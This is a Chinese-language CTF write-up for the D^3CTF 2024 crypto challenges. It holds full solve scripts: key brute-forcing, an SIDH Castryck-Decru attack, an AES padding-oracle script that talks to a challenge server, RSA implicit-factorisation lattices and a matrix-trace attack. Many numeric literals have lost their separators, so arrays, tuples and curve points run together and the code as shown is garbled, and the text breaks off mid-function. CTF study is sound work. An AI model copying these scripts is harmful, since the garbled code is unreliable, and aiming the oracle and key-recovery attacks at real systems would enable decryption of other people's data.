D^3 CTF2024 WP

admin 2024年5月7日12:27:20D^3 CTF2024 WP已关闭评论19 views字数 46946阅读156分29秒阅读模式

-联合战队|共同成长-

D^3CTF 2024
WP

D^3 CTF2024 WP

Cain:密码✌带飞太帅了呜呜呜

D^3 CTF2024 WP

WriteUP
D^3 CTF

CRYPTO

strange_image_plus+

其实我并没有来得及把整个题目看完看明白,这里列出几个比较关键的部分

在最初,server会开放接口实现:

  1. 接收client的一张图片img_client
  2. 接收client的参数,设置crypto加密类。其中比较重要的是用于设置lfsr的taplist,lfsr的初始状态由server随机生成
  3. 将img_client与server本地的flag图片img_flag异或,将异或结果用crypto加密
  4. crypto加密具有流密码的性质
  5. 将加密结果发送到client

审计发现server并没有很好地检查client上传taplist的合法性,这里考虑构造[1, 1, 2, 2]。可以发现这个taplist导致lfsr只会产生0的更新,几轮之后lfsr只会产生0作为加密密钥了

此时即可在本地解密server的加密结果,对img_client进行异或即可得到flag图片

from image_crypto import *

# client使用的payload
msg_json = {"cmd""get_flag""img_path""./test.png""chunk_size""16""iv""51ea4ec1ee5b232f3d273caa8f3d276e""taps_list": [[1122], [1122], [1122], [1122]]}
# client收到的img密文
simg = "*字数原因该部分省略*"

simg = bytes.fromhex(simg)
limg = Image.open("test.png")
limg = image_to_bytes(limg)

width, height = 7260
crypto = ImageEncryption(tap_list=msg_json["taps_list"], iv=bytes.fromhex(msg_json["iv"]), chunk_size=16)
d_simg = crypto.decryption(simg)
img = xor_bytes(limg, d_simg)
img = bytes_to_image(img, width, height)
img.save("flag.png")
D^3 CTF2024 WP

sym_signin

我觉得题目想考察slide attack

但是考虑到l6shed函数输出的temp_key只有24bit,并且第一组明文、密文已知,可以爆破

因此我用cpp写好了爆破脚本,一边爆破一边学习slide attack

在我花费10min学会slide attack之前,我得到了temp_key的结果

爆破脚本(多开几个进程分段爆破)

#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

unsigned char S[] = {0xc0x50x60xb0x90x00xa0xd0x30xe0xf0x80x40x70x10x2};
unsigned char P[] = {081624191725210182631119274122028513212961422307152331};

int S_16bit(int x) {
    int result = 0;
    for (int i = 0; i < 4; ++i) {
        int block = (x >> (i * 4)) & 0xF;
        int sbox_result = S[block];
        result |= sbox_result << (i * 4);
    }
    return result;
}

int S_layer(int x) {
    return (S_16bit(x >> 16) << 16) | S_16bit(x & 0xffff);
}

int P_32bit(int x) {
    int result = 0;
    for (int i = 0; i < 32; ++i) {
        result |= ((x >> P[i]) & 1) << i;
    }
    return result;
}

int key_schedule(int key) {
    return ((key << 31 & 0xffffffff) + (key << 30 & 0xffffffff) + key) & 0xffffffff;
}

int enc_round(int message, int key) {
    int result = 0;
    result = message ^ key;
    result = S_layer(result);
    result = P_32bit(result);
    return result;
}

int encrypt(int message, int key, int ROUND) {
    int ciphertext = message;
    for(int i=0; i < ROUND; ++i) {
        ciphertext = enc_round(ciphertext, key);
        key = key_schedule(key);
    }
    ciphertext = S_layer(ciphertext);
    ciphertext ^= key;
    return ciphertext;
}

int main(int argc,char *argv[]) {
    int c0 = 1018399591;
    int m0 = 1952658276;
    int step = 1<<22;
    int i = atoi(argv[1]);
    for(int key=i*step; key < i*step+step; ++key) {
        if (encrypt(m0, key, 8192) == c0) {
            printf("%u\n", key);
        }
    }
    return 0;
}
// 11047257

解密脚本

import hashlib
import struct
S = [0xc0x50x60xb0x90x00xa0xd,
     0x30xe0xf0x80x40x70x10x2]

P = [08162419172521018263111927,
     4122028513212961422307152331]


def S_16bit(x: int, inv=0) -> int:
    result = 0
    for i in range(4):
        block = (x >> (i * 4)) & 0xF
        sbox_result = S[block]
        if inv:
            sbox_result = S.index(block)
        result |= sbox_result << (i * 4)
    return result


def S_layer(x: int, inv=0) -> int:
    return (S_16bit(x >> 16, inv) << 16) | S_16bit(x & 0xffff, inv)


def P_32bit(x: int, inv=0) -> int:
    binary_result = format(x, '032b')
    permuted_binary = ''.join(binary_result[i] for i in P)
    if inv:
        permuted_binary = ''.join(binary_result[P.index(i)] for i in range(32))
    result = int(permuted_binary, 2)
    return result


def key_schedule(key):
    return ((key << 31 & 0xffffffff) + (key << 30 & 0xffffffff) + key) & 0xffffffff


def enc_round(message: int, key: int) -> int:
    result = message ^ key
    result = S_layer(result)
    result = P_32bit(result)
    return result


def encrypt(message: int, key: int, ROUND: int) -> int:
    ciphertext = message
    for _ in range(ROUND):
        ciphertext = enc_round(ciphertext, key)
        key = key_schedule(key)

    ciphertext = S_layer(ciphertext)
    ciphertext ^= key

    return ciphertext


def dec_round(ct: int, key: int) -> int:
    result = ct
    result = P_32bit(result, inv=1)
    result = S_layer(result, inv=1)
    result = result ^ key
    return result


def decrypt(ct: int, key: int, ROUND: int) -> int:
    pt = ct
    keys = list()
    for _ in range(ROUND+1):
        keys.append(key)
        key = key_schedule(key)
    pt ^= keys[-1]
    pt = S_layer(pt, inv=1)
    for i in range(ROUND)[::-1]:
        pt = dec_round(pt, keys[i])
    return pt


def key_ex(num: int) -> int:
    result = 0
    bit_position = 0
    while num > 0:
        original_bits = num & 0b111
        parity_bit = bin(original_bits).count('1') % 2
        result |= (original_bits << (bit_position + 1)
                  ) | (parity_bit << bit_position)
        num >>= 3
        bit_position += 4
    return result


def write_to_binary_file(uint32_list, output_file):
    with open(output_file, 'wb'as f:
        for number in uint32_list:
            # Pack the integer as an unsigned 32-bit integer (using 'I' format)
            packed_data = struct.pack('<I', number)
            f.write(packed_data)


def read_from_binary_file(input_file):
    uint32_list = []
    with open(input_file, 'rb'as f:
        while True:
            # Read 4 bytes (32 bits) from the file
            data = f.read(4)
            if not data:
                break  # End of file reached
            number = struct.unpack('<I', data)[0]
            uint32_list.append(number)

    return uint32_list


def bytes_to_uint32_list(byte_string, fill_value=None):
    uint32_list = []

    remainder = len(byte_string) % 4
    if remainder != 0:
        padding_bytes = 4 - remainder
        if fill_value is not None:
            byte_string += bytes([fill_value] * padding_bytes)

    for i in range(0, len(byte_string), 4):
        data_chunk = byte_string[i:i+4]
        number = struct.unpack('<I', data_chunk)[0]
        uint32_list.append(number)

    return uint32_list


def l6shad(x):
    # Convert the 24-bit integer x to a bytes object (3 bytes)
    x_bytes = x.to_bytes(3'big')
    sha256_hash = hashlib.sha256(x_bytes).hexdigest()
    last_six_hex_digits = sha256_hash[-6:]
    result_int = int(last_six_hex_digits, 16)

    return result_int


enc = read_from_binary_file("flag.enc")
temp_key = 11047257
flag = list()
for i in range(len(enc)):
    flag.append(decrypt(enc[i], key=temp_key, ROUND=8192))
    temp_key = l6shad(temp_key)
print(flag)
from Crypto.Util.number import *
print(b''.join(long_to_bytes(i)[::-1for i in flag))
# d3ctf{W0w_51ide_Att4ck_M4dE_Ez!}

S0DH

对于题目的SIKE,给出了以下数据:

Pa = (199176096138773310217268*ii + 23001480381289461413737121529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 9744489762564004814578780099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639181395845909382894304538*ii + 69293294106635311075792)
Ea: Elliptic Curve defined by y^2 = x^3 + (11731710804095179287932*ii+170364860453198752624563)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
Eb: Elliptic Curve defined by y^2 = x^3 + (191884939246592021710422*ii+96782382528277357218650)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788

而SIKE本身已经被破解了,也就是说如果双方的公钥都有的话完全可以得到两者的私钥。然而这个题目的问题在于,Alice的公钥缺失了以下一部分:

所以虽然sb可以通过CD attack直接获得,但没有办法拿到sa和phia,也就是说,对于最后需要计算共享密钥的同源,下面两个式子都缺了部分条件:

phib_Ra = phib_Pa + sa * phib_Qa
phia_Rb = phia_Pb + sb * phia_Qb

然而其实这也侧面说明了只要能求出phia就行。

而E0到Ea的同源phia度为2^38,这是38个度为2的同源的复合,在2-isogeny的同源图里可以拆成由38条边组成的路径。这也就是说,对于起点E0,其经过37个中间结点后会到达终点Ea,这等价于从E0开始的某条长为19的路径,会和从Ea开始的长为19的路径在某一点相遇。

因此就可以mitm了,而sage内建的isogeny实在很慢,并且2-isogeny的同源图中大部分结点都有3个邻居,所以也大概有3^19的复杂度,不太能接受。而maple博客在seetf的wp里有介绍过,一个加速的方法是代入当前曲线的j不变量,直接利用d=2的modular polynomial去求根,所有的根就是这个曲线2-isogeny的邻居的j不变量了,这也就是hint给出的加速方法。

mitm找到路径之后就可以通过路径逐层复合确定phia,结合之前求出的sb就有phia_Rb,就可以计算出Eba的j不变量jba了,也就是jab。

exp:

from Crypto.Util.number import *
from tqdm import *
import hashlib

################################################################# data
a = 38
b = 25
p = 2**a * 3**b - 1

assert is_prime(p)
Fp = GF(p)

Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2 = Fp.extension(x**2 + 1"ii")
ii = Fp2.gen()

A0 = Fp2(6)
E0 = EllipticCurve(Fp2, [0, A0, 010])
E0.set_order((p+1)**2)

Ea = EllipticCurve(Fp2, [0, (11731710804095179287932*ii+170364860453198752624563), 010])
Eb = EllipticCurve(Fp2, [0, (191884939246592021710422*ii+96782382528277357218650), 010])
Pa = (199176096138773310217268*ii + 23001480381289461413737121529721453350773259901*ii + 106703903226801547853572)
Qa = (8838268627404727894538*ii + 42671830598079803454272232086518469911650058383*ii + 166016721414371687782077)
Pb = (200990566762780078867585*ii + 156748548599313956052974124844788269234253758677*ii + 161705339892396558058330)
Qb = (39182754631675399496884*ii + 9744489762564004814578780099047967631528928295*ii + 178693902138964187125027)
phib_Pa = (149703758091223422379828*ii + 52711226604051274601866112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = (181275595028116997198711*ii + 186563896197914896999639181395845909382894304538*ii + 69293294106635311075792)
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788


################################################################# mitm
Fp2_inv_2 = Fp2(1) / 2

def sqrt_Fp2(a):
    p = Fp2.characteristic()
    i = Fp2.gens()[0]  # i = √-1

    a1 = a ** ((p - 3) // 4)
    x0 = a1 * a
    α = a1 * x0

    if α == -1:
        x = i * x0
    else:
        b = (1 + α) ** ((p - 1) // 2)
        x = b * x0

    return x


def quadratic_roots(b, c):
    d2 = b**2 - 4 * c
    d = sqrt_Fp2(d2)
    return ((-b + d) * Fp2_inv_2, -(b + d) * Fp2_inv_2)


def generic_modular_polynomial_roots(j1):
    R = PolynomialRing(j1.parent(), "y")
    y = R.gens()[0]
    Φ2 = (
        j1**3
        - j1**2 * y**2
        + 1488 * j1**2 * y
        - 162000 * j1**2
        + 1488 * j1 * y**2
        + 40773375 * j1 * y
        + 8748000000 * j1
        + y**3
        - 162000 * y**2
        + 8748000000 * y
        - 157464000000000
    )

    return Φ2.roots(multiplicities=False)


def quadratic_modular_polynomial_roots(jc, jp):
    jc_sqr = jc**2
    α = -jc_sqr + 1488 * jc + jp - 162000
    β = (
        jp**2
        - jc_sqr * jp
        + 1488 * (jc_sqr + jc * jp)
        + 40773375 * jc
        - 162000 * jp
        + 8748000000
    )
    # Find roots to x^2 + αx + β
    return quadratic_roots(α, β)


def find_j_invs(j1, l, j_prev=None):
    if l != 2:
        raise ValueError("Currently, `find_j_invs` is only implemented for l=2")

    if j_prev:
        roots = quadratic_modular_polynomial_roots(j1, j_prev)

    else:
        roots = generic_modular_polynomial_roots(j1)

    # Dont include the the previous node to avoid backtracking
    return [j for j in roots if j != j_prev]


def find_isogeny(start, end, l=2, max_depth=19):
    stk = []
    stk.append((Fp2(start), 0))  # (j, depth)
    parent = {}
    parent[start] = None
    while len(stk) > 0:
        j, depth = stk.pop()
        if depth >= max_depth:
            continue
        for jn in find_j_invs(j, 2, parent[j]):
            if jn not in parent:
                parent[jn] = j
                stk.append((jn, depth + 1))

    stk = []
    stk.append((Fp2(end), 0))  # (j, depth)
    parent2 = {}
    parent2[end] = None
    while len(stk) > 0:
        j, depth = stk.pop()
        if depth >= max_depth:
            continue
        for jn in find_j_invs(j, 2, parent2[j]):
            if jn not in parent2:
                parent2[jn] = j
                stk.append((jn, depth + 1))
            if jn in parent:
                ret = []
                t = jn
                ret.append(t)
                while (t := parent[t]) is not None:
                    ret.append(t)
                ret.reverse()
                t = jn
                while (t := parent2[t]) is not None:
                    ret.append(t)
                return ret
        
path = find_isogeny(E0.j_invariant(), Ea.j_invariant())


################################################################# find phiA
######## init
E_1 = E0
t = E_1(0).division_points(2)
j1 = path[1]
for i in t:
    phi = E_1.isogeny(kernel=i, algorithm='factored', model='montgomery', check=False)
    E_2 = phi.codomain()
    if(E_2.j_invariant() == j1):
        E_1 = E_2
        phiA = phi
        break

######## compose
for ji in path[2:]:
    t = E_1(0).division_points(2)
    for i in t:
        phi = E_1.isogeny(kernel=i, algorithm='factored', model='montgomery', check=False)
        E_2 = phi.codomain()
        if(E_2.j_invariant() == ji):
            E_1 = E_2
            phiA = phi*phiA
            break


################################################################# get jba(jab == jba)
Pb = E0(Pb)
Qb = E0(Qb)
sb = 798424671353  #use CD attack
Rb = Pb + sb*Qb
Ea, phia_Pb, phia_Qb = phiA.codomain(), phiA(Pb), phiA(Qb)

phia_Rb = phia_Pb + sb * phia_Qb
Eba = Ea.isogeny(kernel=phia_Rb, algorithm='factored', model='montgomery', check=False).codomain()
jba = Eba.j_invariant()

h = bytes_to_long(hashlib.sha256(str(jba).encode()).digest())
flag = h ^^ enc
print(long_to_bytes(int(flag)))


#d3ctf{is0geny_gr4ph_m33t_1n_7he_m1ddl3}

使用Castryck Dercu Attack恢复B的私钥sb

from Crypto.Util.number import *
from public_values_aux import *
from sage.all import *
import hashlib

load('castryck_decru_shortcut.sage')

a = 38
b = 25
p = 2**a * 3**b - 1

assert is_prime(p)
Fp = GF(p)

Fpx = PolynomialRing(Fp, "x")
x = Fpx.gen()
Fp2 = Fp.extension(x**2 + 1"ii")
ii = Fp2.gen()

A0 = Fp2(6)
E0 = EllipticCurve(Fp2, [0, A0, 010])
E0.set_order((p+1)**2)

Pa = E0(199176096138773310217268*ii + 23001480381289461413737121529721453350773259901*ii + 106703903226801547853572)
Qa = E0(8838268627404727894538*ii + 42671830598079803454272232086518469911650058383*ii + 166016721414371687782077)
Pb = E0(200990566762780078867585*ii + 156748548599313956052974124844788269234253758677*ii + 161705339892396558058330)
Qb = E0(39182754631675399496884*ii + 9744489762564004814578780099047967631528928295*ii + 178693902138964187125027)
Ea = EllipticCurve(Fp2, [0, (11731710804095179287932*ii+170364860453198752624563), 010])
Eb = EllipticCurve(Fp2, [0, (191884939246592021710422*ii+96782382528277357218650), 010])
# Ea: Elliptic Curve defined by y^2 = x^3 + (11731710804095179287932*ii+170364860453198752624563)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
# Eb: Elliptic Curve defined by y^2 = x^3 + (191884939246592021710422*ii+96782382528277357218650)*x^2 + x over Finite Field in ii of size 232900919541184113672191^2
phib_Pa = Eb(149703758091223422379828*ii + 52711226604051274601866112079580687990456923625*ii + 147229726400811363889895)
phib_Qa = Eb(181275595028116997198711*ii + 186563896197914896999639181395845909382894304538*ii + 69293294106635311075792)
enc = 48739425383997297710665612312049549178322149326453305960348697253918290539788

two_i = generate_distortion_map(E0)
P3 = Pb
Q3 = Qb
sb = CastryckDecruAttack(E0, Pa, Qa, Eb, phib_Pa, phib_Qa, two_i, num_cores=1)
print(sb)
# 798424671353

enctwice

第一层考虑在acdp的oracle下求解X的值

由于初始的X很小,所以需要利用一次交互设定一个更大的X。朴素的输入最高只能设置到255,这里发现可以直接输入“D3”将X的bit数拉到300

然后可以获取7-1+1条数据(包括flag的密文),构造格求解acdp即可获得X的值,此后即可任意修改密文的所有内容

第二部分考虑使用padding oracle在verify中泄露明文的值

由于ct1中的tag并不好伪造,因此考虑从ct2入手,ct1相关参数保持不变

考虑到当ct2解密正常unpad截断后,其明文长度≤真实明文长度,按照题目的逐位比较方法是可以通过校验的(zip会以较小的长度为基准),至此即可毫无顾虑地在AES-OFB下实施padding oracle得到flag

# -*- coding utf-8 -*-
# @Time : 2024/4/28 18:42
from hashlib import sha256
from Crypto.Util.number import *
from sage.all import *
from pwn import *
from tqdm import tqdm

def proof(io):
    io.recvuntil(b'sha256(XXXX + ')
    temp = io.recvuntil(b') == ', drop=True)
    h = io.recvuntil(b'\n', drop=True)
    print(temp, h)
    for i in tqdm(string.ascii_letters + string.digits):
        for j in string.ascii_letters + string.digits:
            for m in string.ascii_letters + string.digits:
                for n in string.ascii_letters + string.digits:
                    temp1 = (i + j + m + n).encode() + temp
                    # print(temp)
                    if sha256(temp1).hexdigest() == h.decode():
                        io.recvuntil(b'Give me XXXX >')
                        print('true')
                        io.sendline((i + j + m + n).encode())
                        return

def getX(As):
    L = block_matrix([
        [2^250, matrix(ZZ, As[1:])],
        [0, ZZ(As[0])]
    ]).LLL()
    ct0 = abs(L[0][0]) // 2^250
    tag0 = ZZ(As[0] % ct0)
    X = (As[0]-tag0) // ct0
    return X

def oracle(enc):
    io.sendlineafter(b'>', enc.hex().encode())
    res = io.recvline().strip().decode()
    return "Valid message!" in res

def attack(msg, X):
    ct1, val, iv, nonce = msg[:32], bytes_to_long(msg[32:-28]), msg[-28:-12], msg[-12:]
    tag, ct2 = ZZ(val % X), long_to_bytes(val // X)
    flag = list()
    for i in range(32)[::-1]:
        padding = 32-i
        prefix = ct2[:i]
        suffix = bytes([ct2[i+j+1]^^flag[j]^^padding for j in range(len(flag))])
        for c in tqdm(range(256)):
            now_ct2 = prefix + bytes([ct2[i]^^c^^padding]) + suffix
            now_enc = ct1 + long_to_bytes(tag + bytes_to_long(now_ct2)*X) + iv + nonce
            if oracle(now_enc):
                flag = [c] + flag
                print(bytes(flag))
                break
        else:
            print(i, "not this time")
            exit()
    print(bytes(flag))

# context.log_level = 'debug'
host, port = "47.103.122.127:30175".split(":")
io = remote(host, int(port))
proof(io)
io.recvuntil(b'> ')
io.sendline(b'change X')
io.recvuntil(b'input your X >')
io.sendline(b'D3')
vals = []
ivs = []
for i in range(6):
    io.recvuntil(b'> ')
    io.sendline(b'encrypt')
    io.recvuntil(b'input your message >')
    io.sendline(b'12345678')
    msg = bytes.fromhex(io.recvuntil(b'\n',drop=True).decode())
    ct1, val, iv, nonce = msg[:32], bytes_to_long(msg[32:-28]), msg[-28:-12], msg[-12:]
    vals.append(val)
    ivs.append(iv)
io.recvuntil(b'Here is your flag:\n')
msg = bytes.fromhex(io.recvuntil(b'\n',drop=True).decode())
flagc, val, iv, nonce = msg[:32], bytes_to_long(msg[32:-28]), msg[-28:-12], msg[-12:]
vals.append(val)
ivs.append(iv)

X = getX(vals)
attack(msg, X)
# b'd3ctf{eabd797469b8f88a788a0a04}\x01'

myRSA

本地可以先验证下输出的周期性什么的得到

chunk1 = bin(q1)[2:].zfill(256*7)
chunk2 = bin(q2)[2:].zfill(256*7)
assert chunk1[256:256+870] == chunk2[648+256+1648+256+1+870]

发现论文:https://eprint.iacr.org/2023/1562.pdf

简单总结一下问题

消去M之后会有

乘上

化简得

这里用论文首次提到的多项式策略是出不来的(可能是我维度没调大)

用论文的新多项式策略,引入参数w=q2

后面就是正常的多项式格造法,注意多项式化简一下

参数选取上

Exp

alpha = .125
gamma = .42
# bounds 4a(1-sqrt(a)) < gamma
(4*alpha*(1-sqrt(alpha))).n(),gamma
# (0.323223304703363, 0.420000000000000) 满足界

# polynomials
import itertools
from subprocess import check_output
import fgb_sage
sys.set_int_max_str_digits(20000)

def flatter(M):
    # compile https://github.com/keeganryan/flatter and put it in $PATH
    z = "[[" + "]\n[".join(" ".join(map(str, row)) for row in M) + "]]"
    ret = check_output(["flatter"], input=z.encode())
    from re import findall
    return matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\\d+", ret)))
N1 = 11195108435418195710792588075406654238662413452040893604269481198631380853864777816171135346615239847585274781942826320773907414919521767450698159152141823148113043170072260905000812966959448737906045653134710039763987977024660093279241536270954380974093998238962759705207561900626656220185252467266349413165950122829268464816965028949121220409917771866453266522778041491886000765870296070557269360794230165147639201703312790976341766891628037850902489808393224528144341687117276366107884626925409318998153959791998809250576701129098030933612584038842347204032289231076557168670724255156010233010888918002630018693299
N2 = 15100254697650550107773880032815145863356657719287915742500114525591753087962467826081728465512892164117836132237310655696249972190691781679185814089899954980129273157108546566607320409558512492474972517904901612694329245705071789171594962844907667870548108438624866788136327638175865250706483350097727472981522495023856155253124778291684107340441685908190131143526592231859940556416271923298043631447630144435617140894108480182678930181019645093766210388896642127572162172851596331016756329494450522133805279328640942549500999876562756779916153474958590607156569686953857510763692124165713467629066731049974996526071
alpha = .125
gamma = .42
b = 1 - alpha - gamma
b1 = 2^(1792-1775)
b2 = 2^(1792-1126)
bg1 = 2^(1792-905)
bg2 = 2^(1792-256)
bounds = [b2,2^905,2^256,2^1792]
PR.<x,y,z,w> = PolynomialRing(ZZ)
f = x*z + bg2*y*z + ZZ(N1)
K = (b2//b1)
G = Sequence([], f.parent())
m = 9
t = 4
s = 3
for i in range(m+1):
    for j in range(0,m-i+1):
        g = (y*z)^j*w^s*f^i*K^(m-i)*ZZ(N2)^(max(t-i,0))*ZZ(N1)^(-min(s,i+j))
        monomials = vector(g.monomials())
#         print(monomials)
        cof = vector(g.coefficients())
        for k in range(len(monomials)):
            monomial = monomials[k]
            while monomial % (z*w) == 0:
                monomial = N1*monomial//(z*w)
            monomials[k] = monomial
        g = cof*monomials
#         print(i,j,monomials)
#         assert g(xx,yy,zz,ww) % (K^m*q2^t) == 0
        G.append(g)
B, monomials = G.coefficient_matrix()
monomials = vector(monomials)
factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
    B.rescale_col(i, factor)
print("dim:",B.nrows(),B.ncols())
B = flatter(B)
# except:
#     B = B.dense_matrix().LLL()
B = B.change_ring(QQ)
for i, factor in enumerate(factors):
    B.rescale_col(i, 1 / factor)
RR = B*monomials
# for i in range(len(RR)):
#     if RR[i](xx,yy,zz,ww)==0 and RR[i]!=0:
#         print(i)
RR[0] = z*w - ZZ(N1)
fgb_sage.groebner_basis(RR[0:20])

这里有个问题就是groebner_basis会差一个关系导致不能直接解出来,需要自己发现,直接w的解就是两个相同的标识字段,x,y值就是后两个等式的系数,这里主要是x,y取整较小才看出来的。

[z*w - 11195108435418195710792588075406654238662413452040893604269481198631380853864777816171135346615239847585274781942826320773907414919521767450698159152141823148113043170072260905000812966959448737906045653134710039763987977024660093279241536270954380974093998238962759705207561900626656220185252467266349413165950122829268464816965028949121220409917771866453266522778041491886000765870296070557269360794230165147639201703312790976341766891628037850902489808393224528144341687117276366107884626925409318998153959791998809250576701129098030933612584038842347204032289231076557168670724255156010233010888918002630018693299, 239068047081965384767007153505428218619674049945507071478715289239933064247882248962346046028052659238989500321998629710069219909480246563039035785601536645104724428948954790244799223446136745932574761975214121454791897666987885019354063049844409198027308476983172019941034479981554825812153786963900636634328034164020188374064986670011373098172498717110936889843013560877836794896848854390924191578210936522170759369788320328374043301661070465401903348535545919922892863415937824764294461528420316746549814915898518729807051048994912614797*x - 2150041731351815713171104523921920493220624053206985451744233895108303740469684723305396314365408654901185731316940674743393624005747389336974965252847296612520628261079495101318288878763133399451251*w, 239068047081965384767007153505428218619674049945507071478715289239933064247882248962346046028052659238989500321998629710069219909480246563039035785601536645104724428948954790244799223446136745932574761975214121454791897666987885019354063049844409198027308476983172019941034479981554825812153786963900636634328034164020188374064986670011373098172498717110936889843013560877836794896848854390924191578210936522170759369788320328374043301661070465401903348535545919922892863415937824764294461528420316746549814915898518729807051048994912614797*y - 226424529213344999668721893182041940135510332166374912207004824461410074124256560817809951006519763202279310112144759780123971358841835703176196881303793274922977845173880043211792854018584878197697797884263497201497403074557926911586759787949296373546575946325913789515250*w]
from Crypto.Util.number import *
N1 = 11195108435418195710792588075406654238662413452040893604269481198631380853864777816171135346615239847585274781942826320773907414919521767450698159152141823148113043170072260905000812966959448737906045653134710039763987977024660093279241536270954380974093998238962759705207561900626656220185252467266349413165950122829268464816965028949121220409917771866453266522778041491886000765870296070557269360794230165147639201703312790976341766891628037850902489808393224528144341687117276366107884626925409318998153959791998809250576701129098030933612584038842347204032289231076557168670724255156010233010888918002630018693299
N2 = 15100254697650550107773880032815145863356657719287915742500114525591753087962467826081728465512892164117836132237310655696249972190691781679185814089899954980129273157108546566607320409558512492474972517904901612694329245705071789171594962844907667870548108438624866788136327638175865250706483350097727472981522495023856155253124778291684107340441685908190131143526592231859940556416271923298043631447630144435617140894108480182678930181019645093766210388896642127572162172851596331016756329494450522133805279328640942549500999876562756779916153474958590607156569686953857510763692124165713467629066731049974996526071
c = 4814924495615599863001719377787452659409530421473568305028025012566126400664362465878829645297418472853978736123334486954531551369698267539790007454131291197238666548347098462574649698959650399163371262093116196849478966536838813625531493756454672767925688817717023571267320336512019086040845336203876733170680765788230657626290346741730982737645243576591521512217549028162039336681342312618225110504010746912604698079363106352791499951364510694837846064947033912634697178711135807010770985698854383359436879061864935030256963597840531276583023488437671584864430423908673190679945703404235633491522955548722332086120

q1 = 239068047081965384767007153505428218619674049945507071478715289239933064247882248962346046028052659238989500321998629710069219909480246563039035785601536645104724428948954790244799223446136745932574761975214121454791897666987885019354063049844409198027308476983172019941034479981554825812153786963900636634328034164020188374064986670011373098172498717110936889843013560877836794896848854390924191578210936522170759369788320328374043301661070465401903348535545919922892863415937824764294461528420316746549814915898518729807051048994912614797
p1 = N1//q1
q2= 233630547848394209135007018972303763238959109185355683130322620796378633145525100709179571875102267102447496628291714154280219943873043858667798898696184628509324840427879890362326324120687817776725580762548416889656993644873863355029802729279811296000401181720879751079755752977120622685686496479097190255559207261859429013562579599965897764277003344636338025142515285652373365302362599206367163574996397752488118173365817421484736747250676793673904961985188479396221492697480321074922050130834864248123651660561638787884447523367892589529
p2 = N2//q2
assert p1*q1 == N1
assert p2*q2 == N2
d = inverse(65537,(p2-1)*(q2-1))
print(long_to_bytes(pow(c,d,N2)))
# b'd3ctf{Impl1cit f4ct0riz4tion probl3m 1s e4sy for_You. Without any m3aning, I s1mply increase my kn0wledge. Holl0wly, I accumul4ted 0nly yearning. I had a swimsuit, I had m4ps, but I had n0 future.}'

d3matrix2

题目利用range(k)的shuffle序列作为加密密钥,并给出该顺序下公钥矩阵相乘的结果

首先考虑矩阵迹的性质

  1. tr(ABC) = tr(CAB) = tr(BCA)
  2. 在本题目场景下,由于公钥矩阵的迹都很小,因此通常有tr(AB) ≥ tr(A)

假设c = pki * c' * pkj,即对于当前的c,其开头结尾的矩阵分别为pki、pkj

对于pki,此时有tr(pki^-1 * c) = tr(c' * pkj) < tr(pki * c' * pkj)

对于pkj,则有tr(pkj^-1 * c) = tr(pkj^-1 * pki * c' * pkj) = tr(pkj * pkj^-1 * pki * c') = tr(pki * c') < tr(pki * c' * pkj)

对于其他的pk,显然这一操作会使得乘法序列变长,trace将会变大(至少不会变小)

因此对于当前的c,枚举所有的pki检查tr(pki^-1 * c) < tr(c)是否成立,即可找到开头结尾的矩阵pki、pkj

通过判断tr(pki^-1 * c * pkj^-1)与tr(pkj^-1 * c * pki^-1)的大小,即可判断两个矩阵的前后位置关系

在此基础上将开头结尾矩阵脱掉,对c'重复上述操作,最后可以找到完整的矩阵序列,也即恢复了密钥shuffle(range(k)),解密得到flag

from sage.all import *
import hashlib
from Crypto.Util.number import *
from Crypto.Cipher import AES

p = 2**1105 - 1335
k = 99
n = 24
alpha = 2
pk = load('pk.sobj')
c = load('c.sobj')

rangelist = list()
prefix, suffix = list(), list()
while True:
    print(len(prefix) + len(suffix))
    tmp = list()
    tr0 = c.trace()
    for i in range(len(pk)):
        if pk[i]:
            tr1 = (pk[i]^-1*c).trace()
            if tr1 < tr0:
                tmp.append(i)
    if len(tmp) == 1:
        rangelist = prefix + tmp + suffix
        break
    i, j = tmp
    trij = (pk[i]^-1*c*pk[j]^-1).trace()
    trji = (pk[j]^-1*c*pk[i]^-1).trace()
    if trij < tr0 and trji > tr0:
        prefix = prefix + [i]
        suffix = [j] + suffix
        c = pk[i]^-1*c*pk[j]^-1
        pk[i], pk[j] = NoneNone
        continue
    if trji < tr0 and trij > tr0:
        prefix = prefix + [j]
        suffix = [i] + suffix
        c = pk[j]^-1*c*pk[i]^-1
        pk[i], pk[j] = NoneNone
        continue
    print("should not be here")
print(rangelist)

enc = b'lD\xfc\xf4\xdb+\xcd\xbd\xff\x1a!C\x0e\x16\t\xa7:<\x94<\xac(M(i\xee\xf9B\xc7\xea}\x1b\x86\xf8e\xff\xa8<\xc2\xf0\x02P\xd8%$\xc3\xe9-'
key = hashlib.sha256(str(rangelist).encode()).digest()
aes = AES.new(key = key , mode = AES.MODE_ECB)
flag = aes.decrypt(enc)
print(flag)
# b'd3ctf{tr@Ce_Mag1c_1n_M@Tr1x_C0njUgAtE}\n\n\n\n\n\n\n\n\n\n'

d3matrix1

题目问题:

,利用D矩阵构建A矩阵的关系,用到这个等式

接下来利用lattice找到T,k。对矩阵按位置进行求子集和,所以可以展开成向量。构建如下格

得到T,k后(有40组)考虑

后续就是一个正交格的问题了,对A矩阵的值做减1偏移(偏移值为

)。这样, ,构建如下两个正交格(kE里面的值只有两种(k,0)).

Exp

Dlist = load('./Dlist.sobj')
M = Matrix(ZZ,k+n*n)
for i in range(k):
    M[i,i] = 1
#     print(i)
    for j in range(0,n):
        M[i,k+j*n:k+j*n+n] = Dlist[i][j]
for i in range(k,k+n*n):
    M[i,i] = p
from subprocess import check_output
def j(vec):
